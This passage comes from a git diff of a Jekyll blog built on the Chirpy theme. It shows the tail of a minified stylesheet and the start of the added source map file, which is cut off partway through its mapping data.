.5rem;margin:0 .35rem .5rem 0}#panel-wrapper .post-tag:hover{transition:all .3s ease-in}#access-lastmod a{color:inherit}.footnotes>ol{padding-left:2rem;margin-top:.5rem}.footnotes>ol>li:not(:last-child){margin-bottom:.3rem}.footnotes>ol>li>p{margin-left:.25em;margin-top:0;margin-bottom:0}a.footnote{margin-left:1px;margin-right:1px;padding-left:2px;padding-right:2px;border-bottom-style:none !important;transition:background-color 1.5s ease-in-out}a.reversefootnote{font-size:.6rem;line-height:1;position:relative;bottom:.25em;margin-left:.25em;border-bottom-style:none !important}.table-wrapper{overflow-x:auto;margin-bottom:1.5rem}.table-wrapper>table{min-width:100%;overflow-x:auto;border-spacing:0}.table-wrapper>table thead{border-bottom:solid 2px rgba(210,215,217,.75)}.table-wrapper>table tbody tr{border-bottom:1px solid var(--tb-border-color)}.table-wrapper>table tbody tr:nth-child(2n){background-color:var(--tb-even-bg)}.table-wrapper>table tbody tr:nth-child(2n+1){background-color:var(--tb-odd-bg)}.post-preview{border:0;background:var(--card-bg);box-shadow:var(--card-shadow)}.post-preview::before{content:"";width:100%;height:100%;position:absolute;background-color:var(--card-hovor-bg);opacity:0;transition:opacity .35s ease-in-out}.post-preview:hover::before{opacity:.3}.post h1{margin-top:2rem;margin-bottom:1.5rem}.post p>img[data-src]:not(.normal):not(.left):not(.right),.post p>a.popup:not(.normal):not(.left):not(.right){position:relative;left:50%;transform:translateX(-50%)}.post-meta{font-size:.85rem}.post-content{font-size:1.08rem;margin-top:2rem;overflow-wrap:break-word}.post-content a.popup{margin-top:.5rem;margin-bottom:.5rem;cursor:zoom-in}.post-content ol:not([class]),.post-content ol.task-list,.post-content ul:not([class]),.post-content ul.task-list{-webkit-padding-start:1.75rem;padding-inline-start:1.75rem}.post-content ol:not([class]) li,.post-content ol.task-list li,.post-content ul:not([class]) li,.post-content ul.task-list li{margin:.25rem 0;padding-left:.25rem}.post-content ol:not([class]) ol,.post-content ol:not([class]) ul,.post-content ol.task-list ol,.post-content ol.task-list ul,.post-content ul:not([class]) ol,.post-content ul:not([class]) ul,.post-content ul.task-list ol,.post-content ul.task-list ul{-webkit-padding-start:1.25rem;padding-inline-start:1.25rem;margin:.5rem 0}.post-content ul.task-list{-webkit-padding-start:1.25rem;padding-inline-start:1.25rem}.post-content ul.task-list li{list-style-type:none;padding-left:0}.post-content ul.task-list li>i{width:2rem;margin-left:-1.25rem;color:var(--checkbox-color)}.post-content ul.task-list li>i.checked{color:var(--checkbox-checked-color)}.post-content ul.task-list li ul{-webkit-padding-start:1.75rem;padding-inline-start:1.75rem}.post-content ul.task-list input[type=checkbox]{margin:0 .5rem .2rem -1.3rem;vertical-align:middle}.post-content dl>dd{margin-left:1rem}.post-content ::marker{color:var(--text-muted-color)}.post-tag{display:inline-block;min-width:2rem;text-align:center;border-radius:.3rem;padding:0 .4rem;color:inherit;line-height:1.3rem}.post-tag:not(:last-child){margin-right:.2rem}.rounded-10{border-radius:10px !important}.img-link{color:rgba(0,0,0,0);display:inline-flex}.shimmer{overflow:hidden;position:relative;background:var(--img-bg)}.shimmer::before{content:"";position:absolute;background:var(--shimmer-bg);height:100%;width:100%;-webkit-animation:shimmer 1s infinite;animation:shimmer 1s infinite}@-webkit-keyframes shimmer{0%{transform:translateX(-100%)}100%{transform:translateX(100%)}}@keyframes shimmer{0%{transform:translateX(-100%)}100%{transform:translateX(100%)}}.embed-video{width:100%;height:100%;margin-bottom:1rem}.embed-video.youtube{aspect-ratio:16/9}.embed-video.twitch{aspect-ratio:310/189}.btn-lang{border:1px solid !important;padding:1px 3px;border-radius:3px;color:var(--link-color)}.btn-lang:focus{box-shadow:none}.loaded{display:block !important}.d-flex.loaded{display:flex !important}.unloaded{display:none !important}.visible{visibility:visible !important}.hidden{visibility:hidden !important}.flex-grow-1{flex-grow:1 !important}.btn-box-shadow{box-shadow:0 0 8px 0 var(--btn-box-shadow) !important}.text-muted{color:var(--text-muted-color) !important}.tooltip-inner{font-size:.7rem;max-width:220px;text-align:left}.btn.btn-outline-primary:not(.disabled):hover{border-color:#007bff !important}.disabled{color:#cec4c4;pointer-events:auto;cursor:not-allowed}.hide-border-bottom{border-bottom:none !important}.input-focus{box-shadow:none;border-color:var(--input-focus-border-color) !important;background:center !important;transition:background-color .15s ease-in-out,border-color .15s ease-in-out}.left{float:left;margin:.75rem 1rem 1rem 0 !important}.right{float:right;margin:.75rem 0 1rem 1rem !important}figure .mfp-title{text-align:center;padding-right:0;margin-top:.5rem}.mfp-img{transition:none}.mermaid{text-align:center}mjx-container{overflow-y:hidden;min-width:auto !important}#sidebar{padding-left:0;padding-right:0;position:fixed;top:0;left:0;height:100%;overflow-y:auto;width:260px;z-index:99;background:var(--sidebar-bg);-ms-overflow-style:none;scrollbar-width:none}#sidebar::-webkit-scrollbar{display:none}#sidebar .sidebar-bottom .mode-toggle:hover,#sidebar .sidebar-bottom a:hover,#sidebar .site-title a:hover{color:var(--sidebar-active-color)}#sidebar #avatar{display:block;width:7rem;height:7rem;overflow:hidden;box-shadow:var(--avatar-border-color) 0 0 0 2px;transform:translateZ(0)}#sidebar #avatar img{transition:transform .5s}#sidebar #avatar img:hover{transform:scale(1.2)}#sidebar .profile-wrapper{margin-top:2.5rem;margin-bottom:2.5rem;padding-left:2.5rem;padding-right:1.25rem;width:100%}#sidebar .site-title{font-weight:900;font-size:1.75rem;line-height:1.2;letter-spacing:.25px;color:rgba(134,133,133,.99);margin-top:1.25rem;margin-bottom:.5rem}#sidebar .site-subtitle{font-size:95%;color:var(--sidebar-muted-color);margin-top:.25rem;word-spacing:1px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#sidebar ul{margin-bottom:2rem}#sidebar ul li.nav-item{opacity:.9;width:100%;padding-left:1.5rem;padding-right:1.5rem}#sidebar ul li.nav-item a.nav-link{padding-top:.6rem;padding-bottom:.6rem;display:flex;align-items:center;border-radius:.75rem;font-weight:600}#sidebar ul li.nav-item a.nav-link:hover{background-color:var(--sidebar-hover-bg)}#sidebar ul li.nav-item a.nav-link i{font-size:95%;opacity:.8;margin-right:1.5rem}#sidebar ul li.nav-item a.nav-link span{font-size:90%;letter-spacing:.2px}#sidebar ul li.nav-item.active .nav-link{color:var(--sidebar-active-color);background-color:var(--sidebar-hover-bg)}#sidebar ul li.nav-item.active .nav-link span{opacity:1}#sidebar ul li.nav-item:not(:first-child){margin-top:.25rem}#sidebar .sidebar-bottom{padding-left:2rem;padding-right:2rem;margin-bottom:1.5rem}#sidebar .sidebar-bottom .mode-toggle,#sidebar .sidebar-bottom a{width:1.75rem;height:1.75rem;margin-bottom:.5rem;border-radius:50%;color:var(--sidebar-btn-color);background-color:var(--sidebar-btn-bg);text-align:center;display:flex;align-items:center;justify-content:center}#sidebar .sidebar-bottom .mode-toggle:hover,#sidebar .sidebar-bottom a:hover{background-color:var(--sidebar-hover-bg)}#sidebar .sidebar-bottom a:not(:last-child){margin-right:.8rem}#sidebar .sidebar-bottom i{line-height:1.75rem}#sidebar .sidebar-bottom .mode-toggle{padding:0;border:0}#sidebar .sidebar-bottom .icon-border{margin-left:calc((.8rem - 3px)/2);margin-right:calc((.8rem - 3px)/2);background-color:var(--sidebar-muted-color);content:"";width:3px;height:3px;border-radius:50%;margin-bottom:.5rem}@media(hover: hover){#sidebar ul>li:last-child::after{transition:top .5s ease}.nav-link{transition:background-color .3s ease-in-out}.post-preview{transition:background-color .35s ease-in-out}}#search-result-wrapper{display:none;height:100%;width:100%;overflow:auto}#search-result-wrapper .post-content{margin-top:2rem}#topbar-wrapper{height:3rem;background-color:var(--topbar-bg)}#topbar i{color:#999}#topbar #breadcrumb{font-size:1rem;color:gray;padding-left:.5rem}#topbar #breadcrumb span:not(:last-child)::after{content:"›";padding:0 .3rem}#sidebar-trigger,#search-trigger{display:none}#search-wrapper{display:flex;width:100%;border-radius:1rem;border:1px solid var(--search-wrapper-border-color);background:var(--main-bg);padding:0 .5rem}#search-wrapper i{z-index:2;font-size:.9rem;color:var(--search-icon-color)}#search-cancel{color:var(--link-color);margin-left:.75rem;display:none;white-space:nowrap}#search-input{background:center;border:0;border-radius:0;padding:.18rem .3rem;color:var(--text-color);height:auto}#search-input:focus{box-shadow:none}#search-input:focus.form-control::-moz-placeholder{opacity:.6}#search-input:focus.form-control::-webkit-input-placeholder{opacity:.6}#search-input:focus.form-control:-ms-input-placeholder{opacity:.6}#search-input:focus.form-control::-ms-input-placeholder{opacity:.6}#search-input:focus.form-control::placeholder{opacity:.6}#search-hints{padding:0 1rem}#search-hints h4{margin-bottom:1.5rem}#search-hints .post-tag{display:inline-block;line-height:1rem;font-size:1rem;background:var(--search-tag-bg);border:none;padding:.5rem;margin:0 1.25rem 1rem 0}#search-hints .post-tag::before{content:"#";color:var(--text-muted-color);padding-right:.2rem}#search-results{padding-bottom:3rem}#search-results a{font-size:1.4rem;line-height:2.5rem}#search-results>div{width:100%}#search-results>div:not(:last-child){margin-bottom:1rem}#search-results>div i{color:#818182;margin-right:.15rem;font-size:80%}#search-results>div>p{overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical}#topbar-title{display:none;font-size:1.1rem;font-weight:600;font-family:sans-serif;color:var(--topbar-text-color);text-align:center;width:70%;overflow:hidden;text-overflow:ellipsis;word-break:keep-all;white-space:nowrap}#core-wrapper{line-height:1.75}#mask{display:none;position:fixed;inset:0 0 0 0;height:100%;width:100%;z-index:1}[sidebar-display] #mask{display:block !important}#main-wrapper{background-color:var(--main-bg);position:relative;min-height:calc(100vh - 6rem);padding-left:0;padding-right:0}#topbar-wrapper.row,#main>.row,#search-result-wrapper>.row{margin-left:0;margin-right:0}#back-to-top{display:none;z-index:1;cursor:pointer;position:fixed;right:1rem;bottom:2rem;background:var(--button-bg);color:var(--btn-backtotop-color);padding:0;width:3rem;height:3rem;border-radius:50%;border:1px solid var(--btn-backtotop-border-color);transition:transform .2s ease-out;-webkit-transition:transform .2s ease-out}#back-to-top:hover{transform:translate3d(0, -5px, 0);-webkit-transform:translate3d(0, -5px, 0)}#back-to-top i{line-height:3rem;position:relative;bottom:2px}@-webkit-keyframes popup{from{opacity:0;bottom:0}}@keyframes popup{from{opacity:0;bottom:0}}#notification .toast-header{background:none;border-bottom:none;color:inherit}#notification .toast-body{font-family:Lato,sans-serif;line-height:1.25rem}#notification .toast-body button{font-size:90%;min-width:4rem}#notification.toast.show{display:block;min-width:20rem;border-radius:.5rem;-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);background-color:rgba(255,255,255,.5);color:rgba(27,27,30,.7294117647);position:fixed;left:50%;bottom:20%;transform:translateX(-50%);-webkit-animation:popup .8s;animation:popup .8s}@media all and (max-width: 576px){#main-wrapper{min-height:calc(100vh - 6rem)}#core-wrapper .post-content>blockquote[class^=prompt-]{margin-left:-1.25rem;margin-right:-1.25rem;border-radius:0;max-width:none}#avatar{width:5rem;height:5rem}}@media all and (max-width: 768px){#main,#topbar{max-width:100%}#main{padding-left:0;padding-right:0}}@media all and (max-width: 849px){html,body{overflow-x:hidden}footer{transition:transform .4s ease;height:6rem}footer div.d-flex{padding:1.5rem 0;line-height:1.65;flex-wrap:wrap}[sidebar-display] #sidebar{transform:translateX(0)}[sidebar-display] #main-wrapper,[sidebar-display] footer{transform:translateX(260px)}[sidebar-display] #back-to-top{visibility:hidden}#sidebar{transition:transform .4s ease;transform:translateX(-260px);-webkit-transform:translateX(-260px)}#main-wrapper{transition:transform .4s ease}#topbar,#main,footer>.container{max-width:100%}#search-result-wrapper{width:100%}#breadcrumb,#search-wrapper{display:none}#topbar-wrapper{transition:transform .4s ease,top .2s ease;left:0}#core-wrapper,#panel-wrapper{margin-top:0}#topbar-title,#sidebar-trigger,#search-trigger{display:block}#search-result-wrapper .post-content{letter-spacing:0}#tags{justify-content:center !important}h1.dynamic-title{display:none}h1.dynamic-title~.post-content{margin-top:2.5rem}}@media all and (min-width: 577px)and (max-width: 1199px){footer .d-flex>div{width:312px}}@media all and (min-width: 850px){html{overflow-y:scroll}#main-wrapper,footer{margin-left:260px}#main-wrapper{min-height:calc(100vh - 5rem)}footer p{width:auto}footer p:last-child::before{content:"-";margin:0 .75rem;opacity:.8}#sidebar .profile-wrapper{margin-top:3rem}#search-hints{display:none}#search-wrapper{max-width:210px}#search-result-wrapper{max-width:1250px;justify-content:start !important}.post h1{margin-top:3rem}div.post-content .table-wrapper>table{min-width:70%}#back-to-top{bottom:5.5rem;right:5%}#topbar-title{text-align:left}}@media all and (min-width: 992px)and (max-width: 1199px){#main .col-lg-11{flex:0 0 96%;max-width:96%}}@media all and (min-width: 850px)and (max-width: 1199px){#search-results>div{max-width:700px}#breadcrumb{width:65%;overflow:hidden;text-overflow:ellipsis;word-break:keep-all;white-space:nowrap}}@media all and (max-width: 1199px){#panel-wrapper{display:none}#main>div.row{justify-content:center !important}}@media all and (min-width: 1200px){#back-to-top{bottom:6.5rem}#search-wrapper{margin-right:4rem}#search-input{transition:all .3s ease-in-out}#search-results>div{width:46%}#search-results>div:nth-child(odd){margin-right:1.5rem}#search-results>div:nth-child(even){margin-left:1.5rem}#search-results>div:last-child:nth-child(odd){position:relative;right:24.3%}.post-content{font-size:1.03rem}footer div.d-felx{width:85%}}@media all and (min-width: 1400px){#back-to-top{right:calc((100vw - 260px - 1140px)/2 + 3rem)}}@media all and (min-width: 1650px){#main-wrapper,footer{margin-left:300px}#topbar-wrapper{left:300px}#search-wrapper{margin-right:calc( + 1250px * 0.25 - 210px - 0.75rem + )}#main,footer>.container{max-width:1250px;padding-left:1.75rem !important;padding-right:1.75rem !important}#core-wrapper,#tail-wrapper{padding-right:4.5rem !important}#back-to-top{right:calc((100vw - 300px - 1250px)/2 + 2rem)}#sidebar{width:300px}#sidebar .profile-wrapper{margin-top:3.5rem;margin-bottom:2.5rem;padding-left:3.5rem}#sidebar ul li.nav-item{padding-left:2.75rem;padding-right:2.75rem}#sidebar .sidebar-bottom{padding-left:2.75rem;margin-bottom:1.75rem}#sidebar .sidebar-bottom a:not(:last-child){margin-right:1rem}#sidebar .sidebar-bottom .icon-border{margin-left:calc((1rem - 3px)/2);margin-right:calc((1rem - 3px)/2)}}#post-list{margin-top:2rem}#post-list a.card-wrapper{display:block}#post-list a.card-wrapper:hover{text-decoration:none}#post-list a.card-wrapper:not(:last-child){margin-bottom:1.25rem}#post-list .card .preview-img img,#post-list .card .preview-img{border-radius:.5rem .5rem 0 0}#post-list .card .preview-img{height:10rem}#post-list .card .preview-img img{width:100%;height:100%;-o-object-fit:cover;object-fit:cover}#post-list .card .card-body{min-height:10.5rem;padding:1rem}#post-list .card .card-body .card-title{font-size:1.25rem}#post-list .card .card-body .post-meta,#post-list .card .card-body .card-text.post-content{color:var(--text-muted-color) !important}#post-list .card .card-body .card-text.post-content p{line-height:1.5;margin:0}#post-list .card .card-body .post-meta i:not(:first-child){margin-left:1.5rem}#post-list .card .card-body .post-meta em{color:inherit}#post-list .card .card-body .post-meta>div:first-child{display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.pagination{color:var(--btn-patinator-text-color);font-family:Lato,sans-serif}.pagination a:hover{text-decoration:none}.pagination .page-item .page-link{color:inherit;width:2.5rem;height:2.5rem;padding:0;display:-webkit-box;-webkit-box-pack:center;-webkit-box-align:center;border-radius:50%;border:1px solid var(--btn-paginator-border-color);background-color:var(--button-bg)}.pagination .page-item .page-link:hover{background-color:var(--btn-paginator-hover-color)}.pagination .page-item.active .page-link{background-color:var(--btn-paginator-hover-color);color:var(--btn-text-color)}.pagination .page-item.disabled{cursor:not-allowed}.pagination .page-item.disabled .page-link{color:rgba(108,117,125,.57);border-color:var(--btn-paginator-border-color);background-color:var(--button-bg)}.pagination .page-item:first-child .page-link,.pagination .page-item:last-child .page-link{border-radius:50%}@media all and (min-width: 768px){#post-list .card .preview-img,#post-list .card .preview-img img{border-radius:0 .5rem .5rem 0}#post-list .card .preview-img{width:20rem;height:11.55rem}#post-list .card .card-body{min-height:10.75rem;width:60%;padding:1.75rem 1.75rem 1.25rem 1.75rem}#post-list .card .card-body .card-text{display:inherit !important}#post-list .card .card-body .post-meta i:not(:first-child){margin-left:1.75rem}}@media all and (max-width: 830px){.pagination{justify-content:space-evenly}.pagination .page-item:not(:first-child):not(:last-child){display:none}}@media all and (min-width: 831px){#post-list{margin-top:2.5rem}.pagination{font-size:.85rem}.pagination .page-item:not(:last-child){margin-right:.7rem}.pagination .page-item .page-link{width:2rem;height:2rem}.pagination .page-index{display:none}}@media all and (min-width: 1200px){#post-list{padding-right:.5rem}}.post-navigation .btn.disabled,.post-navigation .btn{width:50%;position:relative;border-color:var(--btn-border-color)}#related-posts .card h4,h1+.post-meta em a,h1+.post-meta em,footer a{color:var(--text-color)}.preview-img{overflow:hidden;aspect-ratio:40/21}.preview-img:not(.no-bg) img.lazyloaded{background:var(--img-bg)}.preview-img img{-o-object-fit:cover;object-fit:cover}h1+.post-meta span+span::before{content:"•";padding-left:.25rem;padding-right:.25rem}.post-tail-wrapper{margin-top:6rem;border-bottom:1px double var(--main-border-color);font-size:.85rem}.post-tail-wrapper .post-tail-bottom a{color:inherit}.post-tail-wrapper .license-wrapper{line-height:1.2rem}.post-tail-wrapper .license-wrapper>a{color:var(--text-color)}.post-tail-wrapper .license-wrapper span:last-child{font-size:.85rem}.post-tail-wrapper .share-wrapper{vertical-align:middle;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.post-tail-wrapper .share-wrapper .share-icons{font-size:1.2rem}.post-tail-wrapper .share-wrapper .share-icons>i{position:relative;bottom:1px}.post-tail-wrapper .share-wrapper .share-icons a:not(:last-child){margin-right:.25rem}.post-tail-wrapper .share-wrapper .share-icons a:hover{text-decoration:none}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-twitter{color:var(--btn-share-color, rgb(29, 161, 242))}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-facebook-square{color:var(--btn-share-color, rgb(66, 95, 156))}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-telegram{color:var(--btn-share-color, rgb(39, 159, 217))}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-linkedin{color:var(--btn-share-color, rgb(0, 119, 181))}.post-tail-wrapper .share-wrapper .share-icons .fab.fa-weibo{color:var(--btn-share-color, rgb(229, 20, 43))}.post-tail-wrapper .share-wrapper .fas.fa-link{color:var(--btn-share-color, rgb(171, 171, 171))}.post-tags{line-height:2rem}.post-tags .post-tag{background:var(--tag-bg)}.post-navigation{padding-top:3rem;padding-bottom:4rem}.post-navigation .btn:not(:hover){color:var(--link-color)}.post-navigation .btn:hover:not(.disabled)::before{color:#f5f5f5}.post-navigation .btn.disabled{pointer-events:auto;cursor:not-allowed;background:none;color:gray}.post-navigation .btn.btn-outline-primary.disabled:focus{box-shadow:none}.post-navigation .btn::before{color:var(--text-muted-color);font-size:.65rem;text-transform:uppercase;content:attr(prompt)}.post-navigation .btn:first-child{border-radius:.5rem 0 0 .5rem;left:.5px}.post-navigation .btn:last-child{border-radius:0 .5rem .5rem 0;right:.5px}.post-navigation p{font-size:1.1rem;line-height:1.5rem;margin-top:.3rem;white-space:normal}@media(hover: hover){.post-navigation .btn,.post-navigation .btn::before{transition:all .35s ease-in-out}}@-webkit-keyframes fade-up{from{opacity:0;position:relative;top:2rem}to{opacity:1;position:relative;top:0}}@keyframes fade-up{from{opacity:0;position:relative;top:2rem}to{opacity:1;position:relative;top:0}}#toc-wrapper{border-left:1px solid rgba(158,158,158,.17);position:-webkit-sticky;position:sticky;top:4rem;transition:top .2s ease-in-out;-webkit-animation:fade-up .8s;animation:fade-up .8s}#toc-wrapper ul{list-style:none;font-size:.85rem;line-height:1.25;padding-left:0}#toc-wrapper ul li:not(:last-child){margin:.4rem 0}#toc-wrapper ul li a{padding:.2rem 0 .2rem 1.25rem}#toc-wrapper ul .toc-link{display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#toc-wrapper ul .toc-link:hover{color:var(--toc-highlight);text-decoration:none}#toc-wrapper ul .toc-link::before{display:none}#toc-wrapper ul .is-active-link{color:var(--toc-highlight) !important;font-weight:600}#toc-wrapper ul .is-active-link::before{display:inline-block;width:1px;left:-1px;height:1.25rem;background-color:var(--toc-highlight) !important}#toc-wrapper ul ul a{padding-left:2rem}#related-posts>h3{color:var(--label-color);font-size:1.1rem;font-weight:600}#related-posts em{color:var(--relate-post-date)}#related-posts p{font-size:.9rem;margin-bottom:.5rem;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}#tail-wrapper{min-height:2rem}#tail-wrapper>div:last-of-type{margin-bottom:2rem}#tail-wrapper #disqus_thread{min-height:8.5rem}.post-tail-wrapper .share-wrapper .share-icons>i:hover,.post-tail-wrapper .share-wrapper .share-icons a:hover>i{color:var(--btn-share-hover-color) !important}.share-label{color:inherit;font-size:inherit;font-weight:400}.share-label::after{content:":"}@media all and (max-width: 576px){.preview-img[data-src]{margin-top:2.2rem}.post-tail-bottom{flex-wrap:wrap-reverse !important}.post-tail-bottom>div:first-child{width:100%;margin-top:1rem}}@media all and (max-width: 768px){.post-content>p>img{max-width:calc(100% + 1rem)}}@media all and (max-width: 849px){.post-navigation{padding-left:0;padding-right:0;margin-left:-0.5rem;margin-right:-0.5rem}.preview-img[data-src]{max-width:100vw;border-radius:0}}.tag{border-radius:.7em;padding:6px 8px 7px;margin-right:.8rem;line-height:3rem;letter-spacing:0;border:1px solid var(--tag-border) !important;box-shadow:0 0 3px 0 var(--tag-shadow)}.tag span{margin-left:.6em;font-size:.7em;font-family:Oswald,sans-serif}#archives{letter-spacing:.03rem}#archives ul li::before,#archives .year:first-child::before,#archives .year::before{content:"";width:4px;position:relative;float:left;background-color:var(--timeline-color)}#archives .year{height:3.5rem;font-size:1.5rem;position:relative;left:2px;margin-left:-4px}#archives .year::before{height:72px;left:79px;bottom:16px}#archives .year:first-child::before{height:32px;top:24px}#archives .year::after{content:"";display:inline-block;position:relative;border-radius:50%;width:12px;height:12px;left:21.5px;border:3px solid;background-color:var(--timeline-year-dot-color);border-color:var(--timeline-node-bg);box-shadow:0 0 2px 0 #c2c6cc;z-index:1}#archives ul li{font-size:1.1rem;line-height:3rem;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#archives ul li:nth-child(odd){background-color:var(--main-bg, #ffffff);background-image:linear-gradient(to left, #ffffff, #fbfbfb, #fbfbfb, #fbfbfb, #ffffff)}#archives ul li::before{top:0;left:77px;height:3.1rem}#archives ul:last-child li:last-child::before{height:1.5rem}#archives .date{white-space:nowrap;display:inline-block;position:relative;right:.5rem}#archives .date.month{width:1.4rem;text-align:center}#archives .date.day{font-size:85%;font-family:Lato,sans-serif}#archives a{margin-left:2.5rem;position:relative;top:.1rem}#archives a:hover{border-bottom:none}#archives a::before{content:"";display:inline-block;position:relative;border-radius:50%;width:8px;height:8px;float:left;top:1.35rem;left:71px;background-color:var(--timeline-node-bg);box-shadow:0 0 3px 0 #c2c6cc;z-index:1}@media all and (max-width: 576px){#archives{margin-top:-1rem}#archives ul{letter-spacing:0}}.categories i{color:gray}.categories{margin-bottom:2rem;border-color:var(--categories-border)}.categories .card-header{padding:.75rem;border-radius:calc(.5rem - 1px);border-bottom:0}.categories .card-header.hide-border-bottom{border-bottom-left-radius:0;border-bottom-right-radius:0}.categories i{font-size:86%}.categories .list-group-item{border-left:none;border-right:none;padding-left:2rem}.categories .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.categories .list-group-item:last-child{border-bottom:0}.category-trigger{width:1.7rem;height:1.7rem;border-radius:50%;text-align:center;color:#6c757d !important}.category-trigger i{position:relative;height:.7rem;width:1rem;transition:transform 300ms ease}.category-trigger:hover i{color:var(--categories-icon-hover-color)}@media(hover: hover){.category-trigger:hover{background-color:var(--categories-hover-bg)}}.rotate{transform:rotate(-90deg)}.dash{margin:0 .5rem .6rem .5rem;border-bottom:2px dotted var(--dash-color)}#page-category ul>li,#page-tag ul>li{line-height:1.5rem;padding:.6rem 0}#page-category ul>li::before,#page-tag ul>li::before{background:#999;width:5px;height:5px;border-radius:50%;display:block;content:"";position:relative;top:.6rem;margin-right:.5rem}#page-category ul>li>a,#page-tag ul>li>a{font-size:1.1rem}#page-category ul>li>span:last-child,#page-tag ul>li>span:last-child{white-space:nowrap}#page-tag h1>i{font-size:1.2rem}#page-category h1>i{font-size:1.25rem}#page-category a:hover,#page-tag a:hover,#access-lastmod a:hover{margin-bottom:-1px}@media all and (max-width: 576px){#page-category ul>li::before,#page-tag ul>li::before{margin:0 .5rem}#page-category ul>li>a,#page-tag ul>li>a{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}}/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/assets/css/style.css.map b/assets/css/style.css.map new file mode 100644 index 000000000..5d8953c47 --- /dev/null +++ b/assets/css/style.css.map @@ -0,0 +1 @@ +{"version":3,"sourceRoot":"","sources":["../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/jekyll-theme-chirpy.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/addon/module.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/addon/variables.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/addon/syntax.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/colors/light-syntax.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/colors/dark-syntax.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/addon/commons.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/colors/light-typography.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/colors/dark-typography.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/layout/home.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/layout/post.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/layout/tags.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/layout/archives.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/layout/categories.scss","../../vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-6.1.0/_sass/layout/category-tag.scss"],"names":[],"mappings":"CAAA;AAAA;AAAA;AAAA;AAAA,GCMA,iCACE,2BACA,gBACA,YCiBoB,kCDbpB,oEACE,kBACA,sBAEA,4FACE,aAMJ,4CACE,cAGF,qBACE,4CACE,kBACA,UACA,2DAIA,oEACE,mBACA,UACA,0DAMR,sCACE,4BACA,uCAGF,+DACE,mBACA,cACA,mBAGF,gRACE,yBACA,gCACA,qBAGF,4CACE,wBAGF,2EACE,oDAGF,4EACE,+BAGF,qFACE,yBACA,sBACA,qBACA,iBAGF,wNACE,mBAGF,oFACE,eAGF,0EACE,kBAGF,wMACE,cC7EY,MDiFZ,0CACE,cACA,kBACA,kBACA,cACA,UACA,cAIJ,iDACE,2BACA,yBACA,sBACA,qBACA,iBAGF,sHACE,oBACA,gBACA,uBACA,qBACA,4BEjHA,oCACE,4CC4DF,kDACA,8BACA,mCACA,kCACA,0BACA,kCACA,mCACA,kCACA,mCAvEA,kGACA,qGACA,mHACA,oGACA,oGACA,uGACA,wHACA,uGACA,wHACA,8GACA,uGACA,qFACA,qFACA,2GACA,qFACA,qFACA,2FACA,qFACA,qFACA,sGACA,sGACA,sGACA,sGACA,sGACA,sGACA,mFACA,sFACA,qFACA,wFACA,sGACA,qFACA,yGACA,uFACA,sGACA,sGACA,sGACA,qFACA,qFACA,qFACA,sGACA,mFACA,qFACA,qFACA,qFACA,qFACA,wFACA,wFACA,wFACA,wFACA,wFACA,wFACA,wFACA,wFACA,wFACA,wFACA,wFACA,qFACA,qFACA,qFACA,qFACA,qFAaA,8EACE,0BDlEA,qBETF,gDACA,8BACA,mCACA,kCACA,0BACA,kCACA,2CACA,0CACA,mCACA,+BAGA,yBACE,cAGF,oCACE,cAKF,+EACA,gFACA,iDACA,4EACA,iDACA,iDACA,iDACA,iDACA,iDACA,kDACA,kDACA,kDACA,kDACA,oEACA,qDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,iDACA,iDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,iDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,kDACA,2EACA,4EFtEA,mCACE,2CEfF,gDACA,8BACA,mCACA,kCACA,0BACA,kCACA,2CACA,0CACA,mCACA,+BAGA,mDACE,cAGF,yEACE,cAKF,oHACA,sHACA,qFACA,kHACA,qFACA,qFACA,qFACA,qFACA,qFACA,uFACA,uFACA,uFACA,uFACA,yGACA,0FACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,qFACA,qFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,qFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFACA,uFAC